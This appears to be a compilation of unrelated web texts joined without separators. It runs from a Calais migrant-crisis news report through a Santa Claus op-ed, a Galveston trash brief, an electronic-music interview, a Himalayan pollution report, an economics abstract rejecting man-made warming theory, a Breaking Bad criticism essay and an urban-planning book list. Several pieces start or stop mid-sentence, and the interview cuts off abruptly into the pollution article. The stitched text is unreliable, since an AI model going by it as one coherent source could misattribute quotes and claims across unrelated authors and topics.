'Over the last few days, your approach has been devoid of any serious solution to the crisis. You have failed to initiate any diplomatic pressure on the French government to assess asylum claims and make sure proper immigration procedures are followed.'
In a reference to the Prime Minister calling migrants in Calais a'swarm', she added that Cameron had 'inflamed the situation with incendiary and divisive language'.
David Cameron has insisted he is working on tackling the growing chaos after warning British holidaymakers that they face a summer of misery.
Looming: About 800 migrants gathered at the Eurotunnel in Calais on Friday and 300 made it into a secure area - down on previous nights
Last-ditch attempt: Migrants have made thousands of attempts to cross the border in the last week
Dangerous: A man looks through an exit gate at the Eurotunnel terminal in Coquelles where hundreds of migrants have made attempts to cross through
But the chaos in the French port will not stop the Prime Minister from taking a holiday of his own, with Cameron due to take time off early this week with his family.
Downing Street said Cameron, who is also due to visit Portugal and Scotland this month, would be holidaying in Britain and insisted he would remain 'in charge'.
He held crisis talks about Calais with French president Francois Hollande on Friday night after declaring: 'We are absolutely on it.'
CAMERON'S FIVE-POINT PLAN More car parks Army barracks will be used as car parks to accommodate lorries stuck on the M20. A handful of soldiers will be involved, waving through the drivers and organising parking spaces. Ebbsfleet will also be used to accommodate HGV drivers at a temporary parking freight overspill. Extra fencing More fencing will be sent to secure the perimeter at the Eurotunnel site. The extra fencing will be on top of the 2.5 miles of 9ft-high fencing that was supposed to be in place by the end of this week – but it won’t be completed until next weekend. Migrants have been able to cut through the fencing currently in place. Sniffer dogs More search and sniffer dog teams will be sent to provide 24-hour cover of the terminal in Coquelles and the ferry port at Calais. Increase ferry capacity More ferries could be put on for holidaymakers on different routes so they are not disrupted by the crisis, though no such plans are yet in place. Fast-track Immigration Bill New powers to tackle illegal working and abuse of the asylum system will be sped up. Mr Cameron said the new Immigration Bill will be introduced as soon as Parliament returns.
Britons have been forced to call off holidays because of the crisis, losing out on thousands of pounds because of the late cancellations.
Other families have chosen to travel through other ports, with a surge of bookings on ferries from Plymouth to Brittany.
Ministers are understood to have held talks with ferry companies about chartering extra services to ease the congestion, in addition to the Prime Minister's five-point plan for restoring order.
But his plans were denounced as a'sticking plaster' by haulage bosses, who are said to be losing £700,000 a day because of the crisis.
Lorry chiefs warned that there could be food shortages - leading to rocketing prices in supermarkets - as whole lorry-loads of food are not making it through to Britain from Calais.
Richard Burnett, chief executive of the Road Haulage Association, said: ‘The measures aren’t enough, they are just sticking plasters in terms of trying to resolve this problem.
‘Until we actually contain the situation in Calais with the migrants, this situation is a crisis and it’s out of control.’
More than 5,000 attempts have been made by migrants to cross the Channel in the last week, with more than a thousand a day earlier this week.
The situation appeared to have quietened down on Friday night, when 300 were able to make it into a secure area at the Channel Tunnel.
It is not known how many migrants have succeeded in making it to Britain so far, but the Mail on Sunday revealed that those who have are being put up in hotels at the taxpayers' expense.
Stowaways who have illegally entered the country on lorries or trains through the Channel Tunnel are being transported across England and given their own hotel room, three cooked meals a day and a cash allowance of £35 a week.Story highlights Several priests have recently told kids that Santa Claus isn't real
Parents lash out at "killjoys" ruining the spirit of Christmas
Jake Wallis Simons says it's all very well to have it as a make-believe tradition
Many parents now go too far in fooling their kids into believing in him, he says
Let's play spot the villain.
On Monday, a group of children from Stalham Academy in Norfolk, UK, received an unexpected message in their Christmas sermon.
The Reverend Margaret McPhee, a trainee vicar, shared with them the simple truth that Santa Claus doesn't exist
The real meaning of Christmas, she said, wasn't Santa, Barbie and Xboxes. It was about the birth of the baby Jesus and the light that he brought to the world.
Parents were hyperbolically outraged. One posted on Facebook that McPhee had "put me off taking my children to church just in case something else gets said."
Jake Wallis Simons
This was the second such incident this month. A few weeks ago, when Father Dennis Higgins, a devoted, octogenarian Catholic priest, dared to -- shock horror -- tell children the truth at church, a local headmaster by the name of Brendan Hickey intervened.
"I want to reassure all Year Three pupils at St. Anne's, and their parents, that I have personally spoken to Father Christmas and told him about what has happened," he lied.
"He was sorry to hear about the confusion and has promised me that he will arrange for his elves to write to each of the children and reassure them that he will definitely be coming to visit them this Christmas."
So who are the real villains here? Father Dennis, Rev. McPhee and their inconvenient truth-telling? Or Hickey and the disgruntled parents?
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In my view, anybody in their right mind will side with the clergy.
Over recent decades, Santa worship has got out of hand. Rather than a light-hearted part of festive make-believe, it has become an elaborate con that many parents insinuate into their children's lives.
A British mother, Laura Cole, made the headlines when she filmed her children crying after writing them a note -- ostensibly from Santa -- saying that they would not receive any "lovely presents" this year because they were on the big bully's "naughty list."
One of the children was eight years old. And he still fell for it.
This may be an extreme example, but it reflects the extent to which most children have been conned.
It has become standard practice for parents to pretend to be in contact with Santa by letter and telephone before Christmas.
These days, almost every parent in Britain puts out a glass of sherry "for Santa" and mince pies "for the reindeer" on Christmas eve, before consuming them as the children sleep, to create the illusion that Santa "has visited."
A similar tradition flourishes in the United States and elsewhere.
A mother I know even told her son that a shooting star was Santa coming to deliver presents on his sleigh.
Another example of the depth of the deception came earlier this month, when a small girl called Natalie asked a Pentagon spokesman at a news conference if he was "tracking Santa."
The answer, believe it or not, was yes: the North American Aerospace Defense Command (Norad) has a website claiming to monitor Santa's progress using their advanced detection systems over Christmas.
That's just a bit of fun, of course, and harmless in its way. But in the context of the Great Santa Deception, it takes on a different hue. Is it really right that children should believe that this stuff is, so to speak, gospel?
It's madness.
Somehow, parents have gone beyond the light-hearted Santa of decades past, and are intent on manipulating their children into actually believing that he exists. The energy and forethought that some people expend on Santa propaganda is astonishing.
And who is Santa, anyway? A blend of Turkish, Scandinavian, English and north European folklore -- some of it Pagan and some of it Christian -- popularized in the 1930s by a Coca-Cola advertising executive (with the unlikely name of Haddon Sundblom).
Don't get me wrong: I have no problem with the Santa ritual as a sort of game, allowing children to believe or disbelieve as they like. But messing with your kid's reality -- that stinks.
What's wrong with it, I hear you ask? What possible harm could it do? Isn't it all a bit of festive fun, that makes children's Christmas more special?
Well, there are several problems with the cult of Santa.
Firstly, the man is a lie. Quite literally, a big, fat lie. And selling lies to your children isn't a good thing, unless in exceptional circumstances. In fact, I'd go so far as to call it an abuse of trust, especially if you use it to frighten your kids into "being good."
Secondly, propagating the Santa myth is profoundly cynical. At the heart of the con is the tacit belief that the world is not magical enough on its own, that it has to be sexed up with a Santa.
From this point of view, explaining the truth about how shooting stars are formed would be boring, and revealing that the presents come from mummy and daddy would be a downer; kids need to believe in a fantasy figure if they're going to have a magical Christmas.
How jaded! Surely it is far more awe-inspiring, not to mention instructive, to explain that a shooting star is a speck of spacedust bursting into flame up as it plummets through the Earth's atmosphere.
Surely it is more meaningful to understand that your parents have bought you presents with love, rather than outsourced the job to an elderly man with a team of elves and reindeer behind him.
Lastly, Santa has become the icon of materialism. Presents are a significant part of Christmas, but we can all agree that they should have more to do with togetherness and goodwill than with imaginary old men and booty.
Now, I'm not religious myself, but it doesn't take a genius to make the correlation between the decline of organized religion in recent decades, and the rise of the Santa movement.
It seems like if you remove formalized faith from children's lives, it must be replaced by an equally powerful belief in something else. God may be dead -- but Santa lives.
If my kids were going to believe in anything, however, I'd much rather it was God than Santa.
At least there is a long, rich tradition behind God. At least He is synonymous with a complex moral and ethical code. At least He can offer some kind of genuine spiritual solace to those that believe in Him.
Unlike that villainous old red-belly.GALVESTON, Texas - Nearly 188,000 cars converged on Galveston Island on the Fourth of July and city officials who traditionally estimate 2.5 people were in each of those vehicles means the population swelled by almost a half-million folks.
They left behind a mountain of trash.
TOP STORY ON KSAT.COM: 'I didn't hurt my husband': Woman convicted of murdering husband insists death was accident
A 35-person cleanup crew from the Galveston Park Board of Trustees hit the beaches Wednesday beginning at 3 a.m. and when they were finished they'd collected 49,800 pounds of garbage - nearly 25 tons.
On an average day, the cleaning crew picks up 3,400 pounds.
TRENDING STORY ON KSAT.COM: Spurs' Patty Mills named ‘Person of Year' for contributions to Indigenous Australians
Park board spokeswoman Mary Beth Basset tells The Galveston County Daily News the cleanup people are "truly the unsung heroes" of the community.
For the entire five-day holiday weekend starting Friday, the city counted 780,000 vehicles coming into Galveston, according to the Galveston County Daily News.
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A sonic odyssey from one half of Fuck Buttons.
Blanck Mass is a side project of Benjamin John Power, a UK artist who's best known as one half of Fuck Buttons, alongside Andrew Hung. The group released their first record, Street Horrrsing, in 2008, and took up a curious position: they were a noise band who made strangely accessible music. This quality developed further on their next album, Tarot Sport, where for every shriek of a guitar there was an enveloping synth line or an arresting melody waiting to ensnare you. The album's latent appeal was fully realised when the director Danny Boyle used two of its tracks—"Surf Solar" and "Olympians"—as part of the opening ceremony for the 2012 Olympic Games in London. The track's soaring leads and dramatic chord progressions matched the occasion's epic sense of scale. While the Union Jack flag was raised, the London Symphony Orchestra played a cover of "Sundowner," a track from the first self-titled Blanck Mass record. That album focused on powerful, cinematic ambient, but when Power returned as Blanck Mass earlier this year, things had changed. The melodies were still meteoric on Dumb Flesh, but they came backed by massive drums and twisted voice samples. It was a record that would never achieve mainstream success, but Power's flair for hooks had again bubbled to the surface.
Power recently curated a "re-score" of The Strange Colour Of Your Body's Tears, a 2013 horror film from Belgium, which feels fitting in light of his RA podcast, which has the same sense of narrative you'd expect from an original soundtrack.
What have you been up to recently?
I just a few days ago got home from London as I was performing live with Boredoms at the Barbican on 27th June as a cymbal leader in their 88-cymbal-players piece. It was a good, solid few days practising with 13 other cymbal leaders before the other players joined us. It was a really positive experience and I'm glad I participated.
How and where was the mix recorded?
The |
, crop burning and domestic cooking stoves in south Asia is also contributing to the problem. It can waft up and over the Himalayas to settle on the plateau, they report.
“Many people assume that pollutants piling up on the southern slope of the Himalayas would not go anywhere because the mountains are simply too high,” says Cong Zhiyuan, an environmental scientist at the Chinese Academy of Sciences’ Institute of Tibetan Plateau Research in Beijing.
There were indirect signs that pollution could travel over or around the mountain range: for example, ice-core samples taken from the southeastern Tibetan Plateau show rising soot concentrations during times of rapid industrial growth in India. In two studies—one published last week, and one earlier this year—Cong and his colleagues report more definitive evidence that the Himalayas do not block pollution's passage from the south: they find similar types and concentrations of pollutants on both the south and north sides of Mount Everest.
The researchers do not know to what extent the trans-Himalayan pollutants contribute to the total load of soot and other carbon-containing combustion products dumped on the Tibetan Plateau. But south Asia’s contribution has been a hotly debated issue, says Veerabhadran Ramanathan, an atmospheric scientist at the Scripps Institution of Oceanography in La Jolla, California. “This is a very important finding,” he says.
Cong’s team took weekly measurements from August 2009 to July 2010 at the Qomolangma (Mount Everest) Station for Atmospheric and Environmental Observation and Research, which sits 4,276 metres above sea level, on the northern slope of Everest. The researchers say that the concentrations and chemical components of pollutants were similar to those captured on the southern side of the mountain, at the Nepal Climate Observatory at Pyramid Station, 5,079 metres above sea level. Both stations are part of the global Aerosol Robotic Network (AERONET) of observatories, which allows for standardized pollution tracking.
Biomass to blame
The pollution included organic compounds and sulphate ions—signatures of burned biomass, such as from cooking stoves fed by wood or crops, or from forest fires. And pollutant levels were high at times when NASA satellites spotted forest fires or the burning of agricultural crops in south Asia.
Showing that pollution fingerprints are similar on both sides of the mountain is “a step forward”, says Ramanathan—but he is not sure that the case for trans-Himalayan passage is conclusive. Pollutants might be blown from eastern China or come from biomass burning elsewhere on the plateau, he suggests.
Cong is more confident; he says that there is little biomass burning on the plateau and the prevailing winds tend to blow from the south and west, making a source in eastern China unlikely. His team also reports that whereas valley winds on the southern side of Everest blow upslope during the day, those on the northern side blow downwards. That combination is unusual (valley winds normally rise during the day and descend at night), and could be acting as a channel for south Asian pollutants, he says.
“Regardless of where the pollutants come from, the study has provided compelling evidence that they are due to biomass burning,” says Ramanathan. “We must step up the global effort to drastically cut down biomass burning as much as we can.”
This article is reproduced with permission and was first published on April 14, 2015.Polynomial Cointegration Tests of the Anthropogenic Theory of Global Warming
Michael Beenstock and Yaniv Reingewertz – Department of Economics, The Hebrew University, Mount Scopus, Israel.
Abstract:
We use statistical methods designed for nonstationary time series to test the anthropogenic theory of global warming (AGW). This theory predicts that an increase in atmospheric greenhouse gas concentrations increases global temperature permanently. Specifically, the methodology of polynomial cointegration is used to test AGW when global temperature and solar irradiance are stationary in 1st differences, whereas greenhouse gas forcings (CO2, CH4 and N2O) are stationary in 2nd differences.
We show that although greenhouse gas forcings share a common stochastic trend, this trend is empirically independent of the stochastic trend in temperature and solar irradiance. Therefore, greenhouse gas forcings, global temperature and solar irradiance are not polynomially cointegrated, and AGW is refuted. Although we reject AGW, we find that greenhouse gas forcings have a temporary effect on global temperature. Because the greenhouse effect is temporary rather than permanent, predictions of significant global warming in the 21st century by IPCC are not supported by the data.
Paper here (PDF)
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Redditscreenshot from Breaking Bad episode 60, “Ozymandias”
To mark the end of Breaking Bad, we’re reprinting Malcolm Harris’s 2012 essay on the show’s racial politics, “The White Market,” with a new introduction about gangster endings and the role of pop criticism
When I wrote this essay a year ago, there weren’t any literal Nazis in Breaking Bad and the show was about drugs. Neither of those things are true now. The end of the series looms behind this half-season the way a long novel’s final 50 pages feel in your hand; whatever is happening it is going to be all over soon.
Last year the most common critique of this piece I heard of was that the audience wasn’t supposed to identify with Walter White at all, that he is unambiguously a bad guy and we’re supposed to learn from his example. Having forfeited his last chance for a peaceful death in the penultimate episode, there’s little doubt things will end painfully for Walter. Taken as a whole, his story isn’t exactly an endorsement of megalomaniacal entrepreneurialism, but we don’t take narratives as a whole. Stories — especially ones as long as Breaking Bad — aren’t just fables, with everything in service of a didactic ending. Especially in gangster stories.
Take the two most famous cinematic gangsters of all time, both played by Al Pacino. Tony Montana and Michael Corleone are icons, some of the 20th century’s most influential characters, and exemplars of masculinity for countless boys — gangsters and not.
In my family in lieu of a Bar Mitzvah, when we reached 13 my brother, sister, and I sat each down and watched Godfather Part I and II with my dad.
Breaking Bad takes from both, and seems likely to end somewhere between the two. Scarface ends with Tony mistakenly killing his best friend, watching his sister get shot, and dunking his head in a pile of coke before being executed by his enemies. The Godfather Part II ends with Michael profoundly alone, a widower and divorcee, the wife who wasn’t murdered having aborted his child so as not to bring more evil into the world. His father is dead, his mother is dead, his brother Sonny is dead. To top it off he orders the execution of his other brother Fredo. It doesn’t bode well for Walt.
But despite these cautionary endings, they don’t sell Scarface and Godfather t-shirts at every tourist shop in Manhattan because people like to remind themselves about the dangers of hubris. Stories and the characters in them are more than lessons, and a narrative’s most ideologically weighty elements don’t map onto a seventh grade worksheet about major themes. Long after we’re done watching we hold moments with us: shot angles and character dynamics, snippets of dialog and unquestioned premises. The point of critically examining cultural objects like Breaking Bad isn’t to place them in categories good or bad, to predict the ending, or even to decode what’s “really” happening; the point is to pay attention to our attention, to look at how it’s being held, on what, and how someone’s making money on it. If pop criticism is to be good for anything, it’s that.
***
If you judged by TV and movies alone, you’d think “pure” drugs were seeping out of American society’s every pore, along with hot doctors and secret agents gone rogue. Even if suburban 15-year-olds don’t ask their dealers for THC percentages after seeing Oliver Stone’s Savages — and smart money says some of them are — craft beer isn’t the only boutique intoxicant buzzing around the nation’s subconscious. In the shadow of the high-fructose-corn-syrup backlash, everyone from the Olive Garden to the proverbial Brooklyn popsicle startup is trying to cash in on craftsmanship. Meanwhile, screenwriters (clever advertisers in their own right) have found that the easiest way to hook viewers on drug-dealer protagonists is to sell crack as small-batch artisanal rock cocaine.
Would AMC’s Breaking Bad be as popular if high school chemist turned meth cook Walter White made an average product instead of his “99 percent pure” blue glass? From the pilot on, the quality of White’s output has driven the show’s narrative arc. As a careful midgrade cook with DEA connections, he could have flown under the radar in a community overrun with the stuff and taken care of his chemo costs and family just fine. But what makes White more attractive than your garden-variety tweaker to both international cartels and viewers alike is his craftsmanship and attention to detail. He brings class to the New Mexico meth scene.
For a show set in the dirty world of methamphetamine, Breaking Bad is obsessive about cleanliness. Hardly an episode goes by without a discussion of potential impurities. The equipment always seals perfectly, the vats stainless steel. But that’s how you make meth! No, it’s not. That’s how Walter White makes meth on Breaking Bad.
TV meth lab vs. meth lab
White isn’t some junkie cook; he’s a scientist. The exurbs are going crazy for the special meth that only he can make because it’s pure and a scientist made it with stainless steel and it’s blue. That’s how a timid high school teacher became a regional drug kingpin over the course of a year. The point isn’t that the show is unrealistic or hard to believe, but the narrative function of the ways in which it is: Which disbeliefs are viewers asked to suspend, and which ideologies are they encouraged to retain?
As far as Breaking Bad is concerned, Walter’s meth is bought and used in unadulterated form, whereas in any believable scenario distributors would dilute (“step on”) the product for sale. Finally, toward the end of the fifth season, Walter is forced to explain to a new organization that customers will pay more for his product than, say, one that was 85 percent pure. The other manufacturer seems to accept Walter’s logic even though, as an ostensibly experienced dealer, he should know it doesn’t make any sense. America isn’t flooded with pure meth, and it’s not because our chemists are too ethical. The illegal drug market simply doesn’t reward peerless expertise in the same way celebrity cooking shows do.
The idea that people will always pay more for purer or small-batch products makes a lot of sense to demographics used to paying more for quality gimmicks — conveniently, the same demos advertisers pay a premium for. But it doesn’t make sense for the consumers Breaking Bad so sparingly depicts. When we do see White’s ultimate customers, they’re zombies: all scabs and eroded teeth. We’re not talking about impulse buyers or comparison shoppers here; it’s a textbook case of what freshman economics students call inelastic demand. As Stringer Bell told D’Angelo Barksdale in another show about drugs, in direct contrast to what Walter claims, “When it’s good, they buy. When it’s bad, they buy twice as much. The worse we do, the more money we make.”
Demographically, the viewers AMC wants are more likely to do a lot of pills than unscrew a light bulb to smoke some ice, even if the substances are chemically similar. There are plenty of expert scientists making tons of money cooking up and selling amphetamines, but they’re not robbing trains or toting guns. Big Pharma brings in a $250 billion annually in the U.S. alone, much of it from the same chemical compounds in White’s lab. When it’s 89 percent pure, it’s illegal meth; when it’s 99 percent pure, methamphetamine is sold by Lundbeck Inc. under the trademark name Desoxyn, for “the short-term management of exogenous obesity.” Walter isn’t making crank; he is manufacturing black-market pharmaceuticals.
TV meth lab vs. pharmaceutical-production lab
A Breaking Bad in which the street dealers were diluting the product would have had Walter and his partner Jesse Pinkman competing with every local operation, struggling to set up a larger distribution network without costly middlemen and, well, interacting with meth users a lot. But The Wire on Ice isn’t sexy enough to sell a Dodge, and a teacher slanging to his fucked-up former students would turn stomachs, not open wallets. Suffice to say it would be a darker show.
Even if Breaking Bad’s dramatic arc is “dark,” during most minutes of most episodes the viewer is allowed to root for the resourceful protagonists. His brutality is dressed up as sublime competence.
Which brings us to the other thing that sets White and Pinkman apart from their competitors: color. And I don’t mean blue.
The white guy who enters a world supposedly beneath him where he doesn’t belong yet nonetheless triumphs over the inhabitants is older than talkies. TV Tropes calls it “Mighty Whitey,” and examples range from Tom Cruise as Samurai and Daniel Day Lewis as Mohican to the slightly less far-fetched Julia Stiles as ghetto-fabulous. But whether it’s a 3-D Marine playing alien in Avatar or Bruce Wayne slumming in a Bhutanese prison, the story is still good for a few hundred million bucks. The story changes a bit from telling to telling, but the meaning is consistent: a white person is (and by extension, white people are) best at everything.
In Savages, another recent story of Mighty Whitey getting people stoned, Berkeley-educated botanist Chon (maybe the only name whiter than “White”) and his war-vet buddy Ben combine exported Afghan seeds and a public-Ivy STEM degree to create a strand of superweed. A narrator asserts Afghanistan is the source of the best weed on earth with the same revelatory reverence that Anthony Bourdain might declare Iberia the source of the best pork. It’s not enough that these two 20-somethings grow and sell weed; they have to do it better than anyone else by a huge margin. Chon and Ben’s bud has a THC content of 40 percent (the 2011 Cannabis Cup winner Liberty Haze tops out at 25 percent) and sells for a laughable $6,000 per pound. The botanist-manager uses his profits the way you’d expect a self-respecting white person to: sustainable charity projects in Asia and Africa.
Chon as the Tom’s Shoes of weed
Because of their (third-)world-beating products, Ben and Chon, and Walter and Jesse, attract the interest of the big bad other in the American drug imaginary: Mexican cartels. The cartels (often referred to in the singular, as if monolithic) are merciless and invincible, with money and power that seems limitless. But for all their government connections and firepower, the cartels have a Kryptonite: white people.
You see, the Mexicans need white college graduates because only the white graduates know the secret drug recipes. But these white craftsmen don’t want to work for such swarthy operations, and so, despite being far outmatched in both resources and experience, they contrive plots to bring down the heretofore untouchable organizations.
The scene in Breaking Bad’s fourth season, when Pinkman — a failure at high school chem — shows up a room of Mexican scientists is full of supremacist glee. The Mexicans can wave their skill and experience around, but the science equipment knows objective quality, and there’s no competing with the only white guy in the room. These plots expect viewers to cheer while pale protagonists repeatedly triumph over their southern enemies, leaving them dead or in jail. By the start of season five, White is so successful that Breaking Bad becomes no more diverse than Big Love, leaving the show’s anchoring team visually indistinguishable from the senior cadre of a skinhead gang. In the recent half-season finale, White goes so far as to actually enlist the Aryan Nation to perform a series of expertly timed prison assassinations. But Walter is a bad guy! He still drives the car the show is trying to sell you.
an extended shot of the White driveway
The drug world is a convenient setting for selling white supremacy because it allows for a white underdog in an openly racialized conflict. Besides the War on Terror, there aren’t a lot of other scenarios in which it’s possible to root for the particularly American cocktail of meritocracy, the little guy, the good guy, and the white guy, all at the same time. Put it this way: A show about a small American toy manufacturer laying waste to the villainous and inferior Mexican industry would be such a transparent and reactionary play on post-NAFTA anxieties that no luxury advertiser would dare sponsor it. But when Jalopnik‘s Travis Okulski expressed understandable confusion about what Chrysler thought it had to gain from being associated with an abusive husband and meth cook, the luxury carmaker
Since 2009 when Fiat bought controlling stake in Chrysler from the U.S. Treasury, the Italians have been trying to reposition the American brand to compete with high-priced names like Cadillac.
responded with a staid “The placement on Breaking Bad is part of an overall marketing strategy to place products in TV shows and movies. This vehicle was the right fit in terms of the plot line and the character.”
White-washing the illegal drug market involves depicting it like markets wealthy viewers are more comfortable and familiar with, namely those of the farmers market or the local pharmacy. Walter White combines the ostensible moral complexity television audiences demand in a post-Soprano protagonist with a cleanliness that allows him to market expensive cars. The U.S. is still very much a white supremacist country, but classic cowboys-kill-Indians narratives don’t play with wealthy viewers or the critics who help determine those tastes. And Jack Bauer can drive only so many cars. For the credulous viewer who likes to imagine he’s a couple of life crises from being the Larry Bird of meth — and for the people who sell him stuff — White is right.They’re happy, they’re smart, they’re in revolt! The resurgence of cities and the growing interest in everything urban is reflected in a list of honorees that is largely focused on the city.
As the world urbanizes at an astonishing rate, the authors recognized in this year’s list endeavor to make sense of the push and pull of culture, technology, psychology, politics, and visionary leaders on the development of cities past, present, and future. These explications of the urban condition range from the practical to the historical to the theoretical, all offering lessons on how to create livable, vibrant, and sustainable environments for the billions of new city dwellers expected by 2050.
The Planetizen editorial staff based this year's list on a number of criteria, including editorial reviews, popularity, number of references, sales figures, recommendations from experts and the book's potential impact on the urban planning, development and design professions.
We present our list in alphabetical order, and are not assigning rank. And now, on to the list!
The End of Suburbs: Where the American Dream Is Moving
Leigh Gallagher
Portfolio, 272 pages
Of all the heartening news that comes from The End of the Suburbs, the most heartening of all may be the background of its author. Unlike the many tireless champions of smart growth whom she mentions, Leigh Gallagher is not herself an urban activist. She is a business reporter -- a veteran of Fortune Magazine -- and her premise is not merely that the suburbs are ugly or soulless or inefficient but rather that they no longer make business sense.
Gallagher opens at a particularly morose gathering of homebuilders, circa 2012, and proceeds to explain the many reasons why the days of galloping tract development are going the way of leaded gasoline. Communities can't bear the costs of infrastructure; Gallagher reports, and does not dispute, the claim that suburban sprawl is a "giant Ponzi scheme." Suburban kids don't want to grow up to be suburban adults. Middle-class comfort has, in some cases, given way to meth labs and foreclosures. And everyone is sick of driving.
Gallagher emphasizes how dramatic the shift has been, with descriptions of the booming days of 2003 reading like distant history. Of course, the suburbs aren't emptying out entirely (in part because center cities haven't added nearly enough units), but they're slowing down, and everyone is, according to Gallagher, waking up from their American dream.
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Happy City: Transforming Our Lives Through Urban Design
Charles Montgomery
Farrar, Straus and Giroux, 368 pages
Charles Montgomery ponders, “is urban design really powerful enough to make or break happiness?” In an engaging new book, he explores the philosophy and the psychology of happiness as it relates to urban denizens. In proposing a ‘basic recipe of urban happiness’, Happy Cities contrasts progressive, sustainable, ‘new urbanist’ and ‘peer-to-peer’ values with the commercialized, auto-centric and top-down planning of the last century.
Montgomery posits that until the last two decades, science lacked the ability to describe a relationship between design, psychology and social livability. Newer neurological testing instruments such as EEG and FMRI and a broadening of the definition of “happiness” beyond economic utility allows researchers to understand more subjective forms of happiness relating to experience, relationships and place. The book offers a tome of research providing planners and designers with the scientific vocabulary to discuss street engineering and community building in terms of mental and physical health.
Among many engaging examples, Happy Cities cites the rise of chronic cortisol release, associated with stress and heart disease, in commuters with uncertain transit routes or depressingly long commute times. Montgomery delves into the ‘oxytocin’ molecule, and recent evidence that peer-to-peer networks may also increase ego-reinforcing neurological connections to promote trust. The book also explores how bike culture reflects the viewpoint of ‘beta- endorphin pumped, risk taking’ cyclists rather than the needs of the ‘peripheral-vision challenged’ kids and seniors that are trying to share the road. Happy Cities ultimately advocates a ‘Redesign for Freedom’ and asserts this as a right of every citizen via Henri Lefebvre.
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A History of Future Cities
Daniel Brook
W. W. Norton & Company, 480 pages
Daniel Brook's achievement does not exactly rival that of building the world's tallest skyscraper or pulling a new Paris out of frozen mud, but he makes a good showing nonetheless. History of Future Cities is either a history book with an incredible urban sensibility or an urban book with an impressive grasp of history. Either way, it does for the cities of St. Petersburg, Mumbai, Shanghai, and Dubai something that few urban histories ever do: it makes them interesting.
Those four cities would seem to have little in common, other than their appearance on Emirates Airlines' route map. And yet, Brook argues that each was planned, designed, developed, and promoted for the same reason: to eschew a provincial past and seize a cosmopolitan future. In each case, "cosmopolitan" means "the West." Built by ruling czars, imperialists, traders, and sheiks, respectively, each emulates the cities of the west and seeks to make western capital feel comfortable, as if each is a gigantic hotel (in Dubai's case, that's not so far off).
What's refreshing about Brook's analysis is that he ties each city to broader political analysis. He offers praise for Catherine the Great, and deep suspicion of the Chinese Communist Party, with wide-ranging commentary that is usually lost when scholars focus purely on local affairs.
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How to Study Public Life
Jan Gehl and Birgitte Svarre
Island Press, 200 pages
With all the attention paid by planners and urban designers today to implementing the current theories on what makes places vibrant and popular, it is surprising how little time is invested in actually going out and watching how people use such spaces. Jan Gehl has always been at the forefront of the study of human behavior in public, and his book Life Between Buildings -- published in 1971 -- is still incredibly relevant today. So what does How to Study Public Life add to Gehl's legacy?
This book fills a gap in the literature by providing a method to do exactly what the title says. Gehl (and co-author Birgitte Svarre, a project manager at Gehl Architects) detail proven methods of data collection that don't require fancy apps or smartphones, relying instead on patient observation and painstaking notes. This type of detailed evaluation - usually called "post-occupancy evaluation" in the field of architecture - often reveals significant patterns over time that the casual glance fails to notice. Gehl is an unassuming but essential guide to this criminally underutilized method of analysis.
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The Metropolitan Revolution: How Cities and Metros Are Fixing Our Broken Politics and Fragile Economy
Bruce Katz and Jennifer Bradley
Brookings Institution Press, 288 pages
The Metropolitan Revolution was one of the most lauded, dissected and debated, books of the year – and with good reason. It synthesizes much of what those of us on the front lines of urban planning, design and development have witnessed first-hand: In an urbanizing and globalizing world, federal disinvestment and dysfunction has allowed (in many cases pushed) localities to provide the leadership in innovation and execution required to steer the United States into a new era. In the aftermath of the Great Recession, metropolitan areas are shaping the country’s social and economic transformation from the ground up.
By looking at specific case studies of “economy shaping in New York City and Northeast Ohio, society building in Houston, [and] coalition building in Denver and Los Angeles” and examining the economic, political, technological, demographic, and cultural shifts that are inverting the hierarchy of power in the United States, the book offers “a manifesto for change and action.”
Is it too late for your city if it hasn’t already joined the revolution? Maybe not. But places like Portland, Chicago, and Miami have a heck of a head start in the global competition for high-quality jobs and employees. So get moving!
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The Planning Game: Lessons from Great Cities
Alexander Garvin
W. W. Norton & Company, 224 pages
As another of this year’s Top Books superbly explains, localities across the United States are taking ownership of their own destinies. Though many cities are in desperate need of economic and physical renewal, the levers of power do not allow easy access to transformative change. In most ways that’s a good thing. But in a time when it takes hundreds of meetings, political horse-trading, and the determination and resiliency to overcome legal and financial challenges to realize even moderately scaled projects, it’s easy to long for a Robert Moses-type figure who can get things done.
Fret not, argues Garvin, you too can become a “star” of the planning game like Daniel Burnham or Georges-Eugene Haussmann. Though the players may change, the parameters of the game largely remain the same. The issues that planners confront and the tasks undertaken by planners “do not change with location or time,” he posits. The successful strategies utilized in a “public realm approach to planning” are universally applicable, no mater the era. Through a close examination of how Haussmann, Burnham, Moses, and Edmund Bacon were able to transform their respective cities, Garvin hopes to demonstrate how you too can win the planning game.
“There is … considerable debate about whether some of the things Haussmann, Moses, and Bacon accomplished were desirable, and even more debate about the appropriateness of what they did to accomplish their goals,” he concludes. “There can be no debate, however, about whether they were winners in the planning game.”
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Smart Cities: Big Data, Civic Hackers and the Quest for a New Utopia
Anthony Townsend
W.W. Norton & Co, 400 pages
Smart Cities is a manifesto of the coming of age of cities. Lauding the technological potential to re-imagine urban planning in the vain of ‘smart’, yet also critical of the often shortsighted and technocrati-elite, Townsend speaks directly to the urbanist skeptical of technology-as-panacea.
Introducing a history of communication, social networking, data collection and the ‘internet-of-things’, Townsend both excites and warns readers of the monolithic IBM ‘Smart City’ vision of a top-down, all-sensing city of the future. He also turns his narrative to entrepreneurial, grassroots-minded ‘geeks’. Overarching this dichotomy are the ethical and economic implications of the digital divide and his concern that technological ubiquity and mobile autonomy will lead to governments “casting off their responsibilities” at the expense of already excluded segments of society.
Invoking ‘pattern language’ and ‘lattice-complexity’, Townsend sees cities as “social search engines that help like-minded people find each other and do stuff.” He wonders if “…as the tools to form a different kind of smart city from the one that industry would spoon-feed us get into the hands of more activists, artists, and designers… will a new social movement emerge?”
From Bedouin tribes altering their ancient trading routes to include mobile hot-spot connections to hipster urban prototyping, Smart Cities is a wealth of titillating, well-researched anecdotes and thought-provoking maxims for a cautious, iterative and participatory civic future.
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Urban Street Design Guide
National Association of City Transportation Officials (NACTO)
Island Press, 192 pages
A funny thing is happening among transportation engineers and officials -- they're starting to listen to what urban planners have been saying for years. Namely, that designing streets to favor driving and automobiles over any other use degrades the human environment. "(S)treets are public spaces for people as well as arteries for traffic and transportation," the book fires off in its opening paragraph.
The team behind the book was brought together by NACTO to create an easy-to-use handbook for professionals to reform the current model of auto-oriented transportation planning. Like Jan Gehl's book on this list, this isn't a compelling story. Instead it is a highly-functional, well illustrated manual to transforming ugly, underperforming streets into popular boulevards. And if your city is cursed with NIMBYs, the recommendations are broken down into "critical", "recommended" and "optional" steps.
